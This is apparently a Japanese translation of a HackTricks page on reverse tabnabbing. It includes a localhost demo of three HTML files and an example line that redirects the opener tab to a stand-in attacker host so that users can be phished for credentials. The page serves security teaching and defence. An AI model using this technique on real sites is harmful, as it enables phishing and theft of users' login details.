tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

説明

攻撃者が**<aタグのhref引数を制御できる状況で、属性target="_blank" rel="opener"が設定されている場合、攻撃者はこのリンクを自分の制御下にあるウェブサイト(悪意のある****ウェブサイト)に向けることができます。被害者がリンクをクリックして攻撃者のウェブサイトにアクセスすると、この悪意のあるウェブサイトwindow.openerというjavascriptオブジェクトを介して元のページ制御できるようになります。
ページに
rel="opener"がないがtarget="_blank"が含まれていて、rel="noopener"**がない場合も脆弱性がある可能性があります。

この動作を悪用する一般的な方法は、window.opener.location = https://attacker.com/victim.htmlを使用して元のウェブの位置を攻撃者が制御するウェブに変更し、元のウェブサイトログイン****フォームを模倣してユーザーに資格情報を要求することです。

ただし、攻撃者が元のウェブサイトのウィンドウオブジェクトを制御できるため、他の方法でより巧妙な攻撃を行うことも可能です(例えば、javascriptイベントを変更して彼が制御するサーバーに情報を流出させる?)

概要

バックリンクあり

防止属性が使用されていない場合の親ページと子ページのリンク:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png

バックリンクなし

防止属性が使用されている場合の親ページと子ページのリンク:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png

フォルダ内に次のページを作成し、python3 -m http.serverでウェブサーバーを実行します。
次に、アクセス http://127.0.0.1:8000/vulnerable.html、クリックしてリンクをクリックし、元の****ウェブサイトURL変更される様子を確認してください。

vulnerable.html
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
malicious.html
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
malicious_redir.html
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>

Accessible properties

クロスオリジン アクセスが発生するシナリオでは、opener JavaScript オブジェクト参照によって参照される window JavaScript クラスインスタンスのプロパティは、悪意のあるサイトによってアクセスできるのは以下のものに制限されます:

  • opener.closed: このプロパティはウィンドウが閉じられたかどうかを判断するためにアクセスされ、ブール値を返します。
  • opener.frames: このプロパティは現在のウィンドウ内のすべての iframe 要素へのアクセスを提供します。
  • opener.length: 現在のウィンドウに存在する iframe 要素の数がこのプロパティによって返されます。
  • opener.opener: このプロパティを通じて、現在のウィンドウを開いたウィンドウへの参照を取得できます。
  • opener.parent: このプロパティは現在のウィンドウの親ウィンドウを返します。
  • opener.self: このプロパティは現在のウィンドウ自体へのアクセスを提供します。
  • opener.top: このプロパティは最上位のブラウザウィンドウを返します。

ただし、ドメインが同一の場合、悪意のあるサイトは window JavaScript オブジェクト参照によって公開されているすべてのプロパティにアクセスできます。

Prevention

予防情報は HTML5 Cheat Sheet に文書化されています。

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする